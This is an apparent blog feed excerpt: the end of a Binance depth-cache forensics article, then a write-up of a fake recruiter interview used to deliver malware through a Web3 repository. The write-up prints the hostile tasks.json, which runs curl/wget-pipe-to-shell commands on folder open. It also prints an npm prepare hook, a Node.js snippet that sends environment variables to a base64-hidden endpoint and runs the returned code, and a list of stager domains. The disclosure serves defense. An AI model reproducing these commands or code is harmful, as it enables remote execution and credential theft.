<p>Open interactive 3D chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_naive.html">report_naive.html</a><br />Warning: large Plotly file, about 78 MB.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_fixed.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3ad446e5-6504-4007-ad2c-1fdb8bdf4b1a.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive 3D chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/report_fixed.html">report_fixed.html</a><br />Warning: large Plotly file, about 41 MB.</p>
<p>In the naive plot, the red orphaned tail is the story.</p>
<p>It is not random noise. It forms a coherent ribbon of dead levels trailing the mid price. As the market moves, levels that were once near the active book fall out of the bounded view. The naive cache never evicts them.</p>
<p>So they become ghosts.</p>
<p>The fixed plot is what a bounded local book should look like. The remaining orange and red points near the top of book are explainable by audit-time race conditions and reconnect gaps. Those are separate, known problems. They are not evidence against pruning.</p>
<h2>The forensic plots</h2>
<p>For anyone tempted to call this measurement error, the forensic plots tell the same story from different angles.</p>
<p><strong>Distance of orphaned levels from mid:</strong> orphaned levels cluster around ±0.5-2% from the mid price. They are shaped by market movement. The tails get fatter audit by audit because old levels accumulate.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/distance_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/09a730fe-da8d-4372-aaae-2a21587560e8.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/distance_naive.html">distance_naive.html</a></p>
<p><strong>Age of orphaned levels:</strong> for every orphaned level in the final audit, I checked all 27 archived REST snapshots and asked when REST last contained that price.</p>
<p>The result is bimodal:</p>
<ul>
<li><p>a smaller group of recently rotted levels, last seen 1-5 hours ago</p>
</li>
<li><p>a huge spike at “never seen”</p>
</li>
</ul>
<p>That second group is important. These levels arrived through the diff stream, but were never present in any archived REST <code>limit=5000</code> snapshot. They entered the local cache from outside the audited REST corridor and then stayed there as dead weight.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/age_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e45a255a-a195-4b6a-93b8-664c2df0859d.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/age_naive.html">age_naive.html</a></p>
<p><strong>Volatility correlation:</strong> per-hour growth in orphaned levels correlates with per-hour absolute mid-price movement. More movement, more rot.</p>
<p>The biggest single-window mid move in this run was only <strong>0.07%</strong>. Even that modest move produced a visible orphaned-level jump. On a flash-down or high-volatility day, this would look much worse.</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/volatility_naive.html"><img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/116ce129-9b26-4789-b4f7-6102745ae523.png" alt="" style="display:block;margin:0 auto" /></a></p>
<p>Open interactive chart: <a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/volatility_naive.html">volatility_naive.html</a></p>
<h2>Why it happens, in one paragraph</h2>
<p>The REST snapshot gives you a bounded initial view. The diff stream can then deliver updates for price levels outside the view your application intends to maintain. The documented update procedure tells you how to apply those updates and how to detect broken update continuity, but it does not define a long-running retention policy for a bounded local cache. So a naive implementation inserts levels it cannot reliably validate later, and keeps them until it happens to receive a cleanup update. There is no safe operational guarantee that this will happen for every deep level before the local book becomes polluted. Over time, the cache accumulates orphaned price levels. After 25 quiet hours, the naive DC contains tens of thousands of stale levels and no longer resembles Binance's largest public REST snapshot outside the very top of book.</p>
<h2>What to do</h2>
<p>There are three sane options.</p>
<p><strong>1. Use something that explicitly handles this.</strong></p>
<p>UBLDC (UNICORN Binance Local Depth Cache) does bounded book maintenance, stale-level pruning, update-ID gap detection, and full resync on protocol violations. Yes, I work on it, so I am biased. But the real point is broader:</p>
<p>Do not trust a DepthCache implementation just because it can follow the Binance synchronization steps.</p>
<p>Trust it only if it can explain these things:</p>
<ul>
<li><p>What is the maximum local depth per side after 24 hours?</p>
</li>
<li><p>Which levels are allowed to stay in memory?</p>
</li>
<li><p>When are stale levels evicted?</p>
</li>
<li><p>How is update-ID continuity verified?</p>
</li>
<li><p>What happens after a WebSocket reconnect?</p>
</li>
<li><p>When is the local book discarded and rebuilt?</p>
</li>
</ul>
<p>If your library or internal implementation cannot answer those questions, it is probably not production-safe.</p>
<p><strong>2. Roll your own with active pruning.</strong></p>
<p>If you have a reason to maintain your own DC code, the minimum additional logic is active pruning back to the depth corridor you can actually validate.</p>
<pre><code class="language-python"># After applied updates:
if len(bids) &gt; top_n:
    keep = sorted(bids.keys(), reverse=True)[:top_n]
    bids = {p: bids[p] for p in keep}

if len(asks) &gt; top_n:
    keep = sorted(asks.keys())[:top_n]
    asks = {p: asks[p] for p in keep}
</code></pre>
<p>In production, you would usually prune with a small tolerance window instead of sorting on every single update. The invariant is the same: the local book must not be allowed to grow beyond the depth corridor you can actually validate.</p>
<p>That alone took this experiment from a rotting book — roughly <strong>24% bid match</strong> and <strong>40% ask match</strong> — to a much healthier <strong>88% bid match</strong> and <strong>92% ask match</strong>.</p>
<p>It is not a micro-optimization. It is correctness logic.</p>
<p><strong>3. Detect gaps and resync.</strong></p>
<p>Pruning fixes stale-level accumulation. It does not fix broken update continuity.</p>
<p>Each diff event has <code>U</code> and <code>u</code> fields. Binance documents that if an event's first update ID is greater than your local update ID + 1, you missed events and must discard the local order book and restart from the beginning.</p>
<p>That can happen during WebSocket reconnects, server-side hiccups, local buffering problems, network loss, or payload backpressure.</p>
<p>When it happens, do not “continue carefully”. Discard the local book and reinitialize from a fresh REST snapshot.</p>
<p>The 10 reconnects during this run are visible in the <code>fixed</code> variant as small match% dips. They are not solved by pruning. They are solved by gap detection plus resync.</p>
<p>A production DepthCache needs both.</p>
<h2>Reproducibility</h2>
<p>The supplementary material index is here:</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics">https://oliver-zehentleitner.github.io/binance-depthcache-forensics</a></p>
<p>The public GitHub repository is here:</p>
<ul>
<li><a href="https://github.com/oliver-zehentleitner/binance-depthcache-forensics">github.com/oliver-zehentleitner/binance-depthcache-forensics</a></li>
</ul>
<p>It tracks the GitHub Pages index, interactive chart links, raw audit data, and benchmark context.</p>
<p>The whole experiment is about 600 lines of Python (<code>dc.py</code>, <code>audit.py</code>, <code>plotter.py</code>, <code>run.py</code>, <code>analysis.py</code>) plus the <code>unicorn-binance-websocket-api</code> dependency and Plotly.</p>
<p>The raw data is available here:</p>
<p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/raw_data.tar.gz">https://oliver-zehentleitner.github.io/binance-depthcache-forensics/raw_data.tar.gz</a></p>
<p>It contains the audit JSON files, archived REST snapshots, and run logs. If you want to verify a number from this article, it is in there.</p>
<p>Supporting charts are also available:</p>
<ul>
<li><p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/counts_naive.html">counts_naive.html</a></p>
</li>
<li><p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/counts_fixed.html">counts_fixed.html</a></p>
</li>
<li><p><a href="https://oliver-zehentleitner.github.io/binance-depthcache-forensics/volatility_fixed.html">volatility_fixed.html</a></p>
</li>
</ul>
<h2>Related reading</h2>
<p>If you want the shorter conceptual version before the benchmark, start here:</p>
<ul>
<li><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a></li>
</ul>
<p>That article explains the failure mode. This article proves how fast and how far it accumulates in a real run when no active retention policy is enforced.</p>
<h2>Final note</h2>
<p>If you currently run a trading strategy against a DepthCache you wrote yourself, dump it and compare it against a fresh REST snapshot.</p>
<p>Not the best bid.</p>
<p>Not the first ten levels.</p>
<p>The whole local book.</p>
<p>You may not like what you find.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[I had a fake job interview. It was a malware delivery chain.]]></title><description><![CDATA[2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel fe]]></description><link>https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain</link><guid isPermaLink="true">https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Malware]]></category><category><![CDATA[VS Code]]></category><category><![CDATA[supply chain]]></category><category><![CDATA[DevSecOps]]></category><category><![CDATA[contagious-interview]]></category><category><![CDATA[threat intelligence]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 29 Apr 2026 12:30:25 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/49c754f4-83d9-474e-9be0-e1d4268d2cfb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>2026-04-29 — A fake recruiter tried to walk me into opening a malicious VSCode workspace.<br />I refused, preserved the artifacts, mapped the infrastructure, and submitted the IOCs to public threat-intel feeds.</p>
</blockquote>
<hr />
<h2>TL;DR</h2>
<p>Today I was invited to what looked like a normal Google Meet job interview.</p>
<p>The recruiter asked me to review a Web3 poker/casino repository and open it in VSCode.</p>
<p>I did not.</p>
<p>Instead, I inspected the repository in the browser first and found a malicious <code>.vscode/tasks.json</code> file.</p>
<p>The repository was configured to execute shell commands automatically when the folder is opened in VSCode after Workspace Trust is granted:</p>
<ul>
<li><p>Linux: <code>wget ... | sh</code></p>
</li>
<li><p>macOS: <code>curl ... | bash</code></p>
</li>
<li><p>Windows: <code>curl ... | cmd</code></p>
</li>
</ul>
<p>The commands were visually hidden by pushing the <code>"command"</code> field more than 200 columns to the right with whitespace padding.</p>
<p>The payloads were hosted on rotating Vercel subdomains under <code>/api/settings/{linux,mac,windows}</code>.</p>
<p>Further analysis showed a second execution path through <code>npm install</code>, a BeaverTail-style Node.js RCE/exfil chain hidden behind a base64-encoded <code>.env</code> value, and infrastructure rotating across at least 16 Vercel-hosted projects since January 2026.</p>
<p>I submitted the indicators and infrastructure reports to:</p>
<ul>
<li><p>abuse.ch ThreatFox</p>
</li>
<li><p>abuse.ch URLhaus</p>
</li>
<li><p>AlienVault OTX</p>
</li>
<li><p>GitHub Trust &amp; Safety</p>
</li>
<li><p>Vercel Trust &amp; Safety</p>
</li>
<li><p>LinkedIn Trust &amp; Safety</p>
</li>
</ul>
<p>Vercel has acknowledged the abuse report under case number <code>01139817</code>.</p>
<p>GitHub has acknowledged the repository abuse report under support ticket <code>#4339052</code>.</p>
<p>This is the lesson:</p>
<blockquote>
<p>Opening an unknown repository in a modern developer tool is not a passive action anymore.</p>
</blockquote>
<p>The old mental model was:</p>
<blockquote>
<p>"I did not run the code, I only opened the project."</p>
</blockquote>
<p>That model is broken.</p>
<p>The real question is:</p>
<blockquote>
<p>"Did my tooling trust the project?"</p>
</blockquote>
<hr />
<h2>How it started</h2>
<p>On 2026-04-13, I received a LinkedIn InMail from a profile using the name:</p>
<blockquote>
<p>John Armour Lamont<br />CEO &amp; Founder | Climate action through Technology</p>
</blockquote>
<p>The message looked like ordinary recruiter outreach:</p>
<ul>
<li><p>DevSecOps</p>
</li>
<li><p>security architecture</p>
</li>
<li><p>Kubernetes</p>
</li>
<li><p>CI/CD</p>
</li>
<li><p>scalable infrastructure</p>
</li>
<li><p>Web3 platform</p>
</li>
<li><p>DevSecOps Lead / Solution Architect</p>
</li>
</ul>
<p>All of that matches my public LinkedIn profile closely enough to feel plausible.</p>
<p>But the message also had the classic smell of a generic lure:</p>
<ul>
<li><p>no company name</p>
</li>
<li><p>no product name</p>
</li>
<li><p>no founder names</p>
</li>
<li><p>no funding source</p>
</li>
<li><p>no concrete architecture</p>
</li>
<li><p>no concrete chain</p>
</li>
<li><p>no real technical framing</p>
</li>
</ul>
<p>I asked for details before scheduling anything.</p>
<p>The answer stayed vague:</p>
<blockquote>
<p>"The MVP is completed, and we've secured initial funding $6M."<br />"The team is lean but growing."<br />"We're leveraging EVM compatible chains."<br />"It would be better to discuss this during the meeting."</p>
</blockquote>
<p>That is not proof of malice.</p>
<p>But it is exactly the kind of vague-but-plausible language that works well in recruiter pretexts.</p>
<p>A few Calendly links later, we scheduled the call.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2e9ec054-d0cb-4e88-9fbe-a1f80bf24716.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The thing that saved me</h2>
<p>Two days before the interview, I read <a href="https://www.reddit.com/r/blueteamsec/comments/1sw26a2/claudecodebackdoor_backdooring_claude_code_via/">a Reddit post about a Claude Code proof-of-concept</a> by <a href="https://www.linkedin.com/in/s0ld13r/">Zhangir Ospanov</a>.</p>
<p>The PoC is here:</p>
<pre><code class="language-text">https://github.com/s0ld13rr/claude-code-backdoor
</code></pre>
<p>The core point was simple:</p>
<p>Claude Code can execute project-local hooks from <code>.claude/settings.json</code> when a trusted project starts.</p>
<p>That is not a magic exploit. It is tool behavior.</p>
<p>But the security boundary matters.</p>
<p>The dangerous situation is not:</p>
<blockquote>
<p>"I ran the malware."</p>
</blockquote>
<p>The dangerous situation is:</p>
<blockquote>
<p>"I opened an untrusted project inside a tool that can execute project-local automation."</p>
</blockquote>
<p>That same pattern exists across modern developer tooling:</p>
<ul>
<li><p><code>.vscode/tasks.json</code></p>
</li>
<li><p><code>.claude/settings.json</code></p>
</li>
<li><p>Cursor / Windsurf project configs</p>
</li>
<li><p><code>package.json</code> scripts</p>
</li>
<li><p><code>preinstall</code> / <code>postinstall</code> / <code>prepare</code></p>
</li>
<li><p>Makefiles</p>
</li>
<li><p>Git hooks</p>
</li>
<li><p>Docker Compose files</p>
</li>
<li><p>CI configs</p>
</li>
<li><p>language-server initialization paths</p>
</li>
</ul>
<p>I made a mental note:</p>
<blockquote>
<p>If somebody asks me to open an unfamiliar repository in any IDE, inspect the project automation files first.</p>
</blockquote>
<p>Two days later, that note mattered.</p>
<hr />
<h2>The interview</h2>
<p>On 2026-04-29, the Google Meet call started normally.</p>
<p>We talked about my background. There were no meaningful technical questions. No architecture discussion. No real DevSecOps interview.</p>
<p>Then, about 25 minutes in, the recruiter sent the repository:</p>
<pre><code class="language-text">https://github.com/Novara1o1/jackpot
</code></pre>
<p>The project looked like a Web3 poker/casino application.</p>
<p>The README looked plausible. The repository had history. The stack looked believable:</p>
<ul>
<li><p>React</p>
</li>
<li><p>Next.js</p>
</li>
<li><p>Solidity</p>
</li>
<li><p>Hardhat</p>
</li>
<li><p>ethers.js</p>
</li>
<li><p>MongoDB</p>
</li>
<li><p>SettleMint references</p>
</li>
</ul>
<p>I said:</p>
<blockquote>
<p>"This is JavaScript. I mostly do Python."</p>
</blockquote>
<p>The answer:</p>
<blockquote>
<p>"That's fine. Just review it. Could you open it in VSCode?"</p>
</blockquote>
<p>That was the trigger.</p>
<p>Why VSCode specifically?</p>
<p>I had already told him I use PyCharm.</p>
<p>A normal interviewer would not care which editor I use for a superficial review.</p>
<p>But this repository cared.</p>
<p>So I did not open it in VSCode.</p>
<p>I inspected it in the browser.</p>
<p>Then I went straight to <code>.vscode/</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/d942486a-ea49-40e6-a937-29984d7ec97e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The VSCode trap</h2>
<p>The repository contained a <code>.vscode/tasks.json</code> file with folder-open tasks.</p>
<p>Simplified, the relevant part looked like this:</p>
<pre><code class="language-json">{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "install-root-modules",
      "type": "shell",
      "command": "npm install --silent --no-progress",
      "runOptions": {
        "runOn": "folderOpen"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      }
    },
    {
      "label": "env",
      "type": "shell",
      "linux": {
                                                                                                                                                                                                                                         "command": "wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh"
      },
      "osx": {
                                                                                                                                                                                                                                         "command": "curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash"
      },
      "windows": {
                                                                                                                                                                                                                                         "command": "curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd"
      },
      "presentation": {
        "reveal": "silent",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "new",
        "showReuseMessage": false,
        "clear": true
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}
</code></pre>
<p>The important part is not only the command.</p>
<p>The important part is the interaction:</p>
<pre><code class="language-json">"runOptions": {
  "runOn": "folderOpen"
}
</code></pre>
<p>combined with:</p>
<pre><code class="language-json">"presentation": {
  "reveal": "silent",
  "echo": false,
  "focus": false,
  "close": true
}
</code></pre>
<p>This means:</p>
<ol>
<li><p>The task is eligible to run when the folder opens.</p>
</li>
<li><p>After Workspace Trust is granted, the shell command can execute.</p>
</li>
<li><p>The terminal output is suppressed or hidden.</p>
</li>
<li><p>The command is not clearly surfaced as a separate, explicit security decision.</p>
</li>
</ol>
<p>And then there is the visual trick:</p>
<p>The <code>"command"</code> field was pushed far to the right with whitespace.</p>
<p>In the sample I analyzed, the malicious command began after more than 200 ASCII spaces.</p>
<p>The repository's <code>.vscode/settings.json</code> also set:</p>
<pre><code class="language-json">{
  "editor.wordWrap": "off"
}
</code></pre>
<p>So a casual reviewer opening the file in VSCode sees a harmless-looking structure and may not visually notice the command at all.</p>
<p>This is not clever cryptography.</p>
<p>It is better than that.</p>
<p>It abuses developer habit.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/dca1d4f8-9382-4d70-8576-2409e01e90ad.png" alt="" style="display:block;margin:0 auto" />

<hr />
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/18c50fa6-694e-4222-8275-a134e3e2b872.png" alt="" style="display:block;margin:0 auto" />

<h2>Why this works</h2>
<p>The attacker does not need to convince the developer to run malware.</p>
<p>They only need to convince the developer to follow a normal workflow:</p>
<pre><code class="language-text">clone repo
open folder
trust workspace
let tooling initialize
</code></pre>
<p>That is the real trust-boundary failure.</p>
<p>The human thinks:</p>
<blockquote>
<p>"I am just opening the project."</p>
</blockquote>
<p>The tool thinks:</p>
<blockquote>
<p>"This workspace is trusted, so project automation can run."</p>
</blockquote>
<p>The attacker thinks:</p>
<blockquote>
<p>"Perfect."</p>
</blockquote>
<p>This is the same class of problem as:</p>
<ul>
<li><p>Claude Code hooks in <code>.claude/settings.json</code></p>
</li>
<li><p>package manager lifecycle scripts</p>
</li>
<li><p>Makefile targets</p>
</li>
<li><p>Git hooks</p>
</li>
<li><p>CI workflow files</p>
</li>
<li><p>language-specific project bootstrap files</p>
</li>
</ul>
<p>The security boundary is no longer:</p>
<blockquote>
<p>Did I manually execute the application?</p>
</blockquote>
<p>The security boundary is:</p>
<blockquote>
<p>Did my tooling trust the project?</p>
</blockquote>
<hr />
<h2>The first payload layer: Vercel-hosted stagers</h2>
<p>The active lure repository referenced this domain:</p>
<pre><code class="language-text">ip-address-check-mo.vercel.app
</code></pre>
<p>with OS-specific endpoints:</p>
<pre><code class="language-text">/api/settings/linux
/api/settings/mac
/api/settings/windows
</code></pre>
<p>The commands used the classic download-and-execute pattern:</p>
<pre><code class="language-bash">wget -qO- 'https://ip-address-check-mo.vercel.app/api/settings/linux' | sh
</code></pre>
<pre><code class="language-bash">curl -L 'https://ip-address-check-mo.vercel.app/api/settings/mac' | bash
</code></pre>
<pre><code class="language-cmd">curl --ssl-no-revoke -L https://ip-address-check-mo.vercel.app/api/settings/windows | cmd
</code></pre>
<p>That is not a settings API.</p>
<p>That is a staged execution path.</p>
<p>During the investigation, I mapped a rotating set of Vercel-hosted projects used by the same campaign pattern.</p>
<p>The Stage-1 stager infrastructure observed so far:</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>Stager domain</th>
</tr>
</thead>
<tbody><tr>
<td>2026-04-28</td>
<td><code>ip-address-check-mo.vercel.app</code></td>
</tr>
<tr>
<td>2026-04-20</td>
<td><code>vscode-address-checking-mo.vercel.app</code></td>
</tr>
<tr>
<td>2026-04-13</td>
<td><code>ip-address-check1.vercel.app.vercel.app</code></td>
</tr>
<tr>
<td>2026-04-07</td>
<td><code>vscode-ip-checking-nine.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-31</td>
<td><code>ip-address-vscode-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-17</td>
<td><code>vscode-ipaddress-checking-nine.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-16</td>
<td><code>vscode-ipaddress-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-13</td>
<td><code>vscode-ip-address-checking-ten.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-13</td>
<td><code>vscode-ip-address-checking.vercel-ten.app</code></td>
</tr>
<tr>
<td>2026-03-02</td>
<td><code>vscode-ip-address-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-03-02</td>
<td><code>vscode-ip-addess-checking.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-27</td>
<td><code>vscode-settings-tasks-227.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-23</td>
<td><code>vscode-ipchecking.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-20</td>
<td><code>vscode-settings-tasks-json.vercel.app</code></td>
</tr>
<tr>
<td>2026-02-03</td>
<td><code>vscodesetting-task.vercel.app</code></td>
</tr>
<tr>
<td>2026-01-27</td>
<td><code>vscodesettingtask.vercel.app</code></td>
</tr>
</tbody></table>
<p>There are obvious operator mistakes in that list:</p>
<ul>
<li><p>doubled <code>.vercel.app</code></p>
</li>
<li><p><code>vercel-ten.app</code> instead of <code>.vercel.app</code></p>
</li>
<li><p><code>addess</code> instead of <code>address</code></p>
</li>
</ul>
<p>That matters.</p>
<p>Typos are often better pivot material than perfect infrastructure.</p>
<p>They show manual editing, copy/paste drift, and operational pressure.</p>
<hr />
<h2>The second payload layer: npm lifecycle execution</h2>
<p>The VSCode path was not the only execution vector.</p>
<p>The repository also carried an npm-based path.</p>
<p>In <code>package.json</code>:</p>
<pre><code class="language-json">"scripts": {
  "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
  "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
  "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
  "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
  "prepare": "node server/server.js"
}
</code></pre>
<p>The dangerous one is:</p>
<pre><code class="language-json">"prepare": "node server/server.js"
</code></pre>
<p><code>prepare</code> is an npm lifecycle script.</p>
<p>So if the victim does not open the project in VSCode but instead runs:</p>
<pre><code class="language-bash">npm install
</code></pre>
<p>the server-side JavaScript still executes.</p>
<p>That gives the attacker two chances:</p>
<ol>
<li><p>IDE auto-execution via <code>.vscode/tasks.json</code></p>
</li>
<li><p>npm lifecycle execution via <code>prepare</code></p>
</li>
</ol>
<p>This is exactly how good malware chains are built.</p>
<p>They do not rely on one path.</p>
<p>They layer normal developer behaviors until one of them fires.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2baf5cca-3b23-4428-958d-5a39bdee8bc2.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>The third layer: BeaverTail-style Node.js RCE and environment exfiltration</h2>
<p>The repository also contained a hidden runtime chain in the application code.</p>
<p>In <code>server/routes/api/auth.js</code>, simplified:</p>
<pre><code class="language-javascript">const verified = validateApiKey();

if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) =&gt; {
      const executor = new Function("require", response.data);
      executor(require);
      return true;
    })
    .catch((err) =&gt; {
      return false;
    });
}
</code></pre>
<p>In <code>server/controllers/auth.js</code>:</p>
<pre><code class="language-javascript">const setApiKey = (s) =&gt; atob(s);

const verify = (api) =&gt;
  axios.post(api, { ...process.env }, {
    headers: {
      "x-app-request": "ip-check"
    }
  });
</code></pre>
<p>What this does:</p>
<ol>
<li><p>Reads <code>process.env.AUTH_API</code></p>
</li>
<li><p>Base64-decodes it</p>
</li>
<li><p>POSTs the entire <code>process.env</code> to the decoded URL</p>
</li>
<li><p>Receives JavaScript code as response</p>
</li>
<li><p>Executes that code with:</p>
</li>
</ol>
<pre><code class="language-javascript">new Function("require", response.data)
</code></pre>
<p>That is full Node.js RCE.</p>
<p>It also exfiltrates the victim's environment variables.</p>
<p>The <code>.env</code> file is designed to look harmless:</p>
<pre><code class="language-bash">NODE_ENV=development
PORT=3000
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
ETHERSCAN_API_KEY=etherscan_demo_ABC123DEF456
POLYGONSCAN_API_KEY=polygonscan_demo_ABC123DEF456
INFURA_IPFS_PROJECT_ID=infura-ipfs-demo-112233
OPENAI_API_KEY=sk-test_OpenAIkey1234567890
PINATA_API_KEY=pinata_test_key_9876543210
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
COINBASE_COMMERCE_API_KEY=cc_test_COINBASE12345
AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
AWS_SECRET_ACCESS_KEY=SecretKeyExample/AbC1234567890
</code></pre>
<p>Most values are obvious demo placeholders.</p>
<p>One value is not.</p>
<pre><code class="language-bash">AUTH_API=aHR0cHM6Ly95LWhhemVsLXRlbi52ZXJjZWwuYXBwL2FwaQ==
</code></pre>
<p>Decoded:</p>
<pre><code class="language-text">https://y-hazel-ten.vercel.app/api
</code></pre>
<p>That is a second Vercel-hosted endpoint, separate from the VSCode stager rotation.</p>
<p>So the repository contains at least two distinct malicious infrastructure paths:</p>
<ul>
<li><p>Stage-1 OS-specific shell stagers under <code>/api/settings/{linux,mac,windows}</code></p>
</li>
<li><p>Stage-2 BeaverTail-style Node.js RCE/exfil endpoint under <code>/api</code></p>
</li>
</ul>
<p>The fake <code>x-app-request: ip-check</code> header is there to make the traffic look like a harmless IP or environment check.</p>
<p>It is not harmless.</p>
<p>It sends the victim's environment to the operator.</p>
<hr />
<h2>Why I classify this as Contagious-Interview-style tradecraft</h2>
<p>I am careful with attribution.</p>
<p>I cannot prove who sat behind the keyboard during my call.</p>
<p>The LinkedIn profile may be fake, compromised, impersonated, or operated by the attacker.</p>
<p>But the tradecraft strongly overlaps with publicly documented Contagious Interview activity:</p>
<ul>
<li><p>fake recruiter outreach</p>
</li>
<li><p>Web3 / crypto / casino / blockchain lure projects</p>
</li>
<li><p>GitHub-hosted project repositories</p>
</li>
<li><p>developer asked to open the project locally</p>
</li>
<li><p>npm lifecycle execution paths</p>
</li>
<li><p>JavaScript malware</p>
</li>
<li><p>BeaverTail-style code patterns</p>
</li>
<li><p>base64-obfuscated C2 endpoint</p>
</li>
<li><p>environment-variable exfiltration</p>
</li>
<li><p>remote JavaScript execution via <code>new Function</code></p>
</li>
<li><p>Vercel-hosted rotating infrastructure</p>
</li>
<li><p>short-lived operator accounts</p>
</li>
</ul>
<p>That is the important point.</p>
<p>Whether the exact operator label is Lazarus, Sapphire Sleet, DEV#POPPER, CL-STA-0240, OtterCookie, or another overlapping cluster is less important for defenders than the execution pattern.</p>
<p>The practical defensive message is the same:</p>
<blockquote>
<p>Fake job interviews are being used to get developers to execute malware through normal project tooling.</p>
</blockquote>
<hr />
<h2>What I reported</h2>
<p>I submitted the malicious repository and infrastructure to the relevant platforms.</p>
<h3>Vercel Trust &amp; Safety</h3>
<p>Vercel acknowledged the report under case number:</p>
<pre><code class="language-text">01139817
</code></pre>
<p>The report covered:</p>
<ul>
<li><p>15 Stage-1 Vercel stager domains</p>
</li>
<li><p>1 Stage-2 BeaverTail-style RCE/exfil endpoint</p>
</li>
<li><p>shared URL pattern <code>/api/settings/{linux,mac,windows}</code></p>
</li>
<li><p>likely shared operator naming patterns</p>
</li>
<li><p>known GitHub-attributed operator emails</p>
</li>
<li><p>ThreatFox and URLhaus references</p>
</li>
</ul>
<p>The requested actions were:</p>
<ol>
<li><p>Take down the listed malicious projects</p>
</li>
<li><p>Block redeployment by related operator accounts</p>
</li>
<li><p>Hunt for sister projects using the same naming and endpoint patterns</p>
</li>
<li><p>Preserve metadata for correlation with abuse.ch / law enforcement where appropriate</p>
</li>
</ol>
<h3>GitHub Trust &amp; Safety</h3>
<p>GitHub acknowledged the report under support ticket:</p>
<pre><code class="language-text">#4339052
</code></pre>
<p>Reported repository:</p>
<pre><code class="language-text">https://github.com/Novara1o1/jackpot
</code></pre>
<p>Reason:</p>
<ul>
<li><p>malicious <code>.vscode/tasks.json</code></p>
</li>
<li><p><code>runOn: folderOpen</code></p>
</li>
<li><p>silent shell stager execution</p>
</li>
<li><p>npm lifecycle execution path</p>
</li>
<li><p>BeaverTail-style Node.js RCE/exfil chain</p>
</li>
</ul>
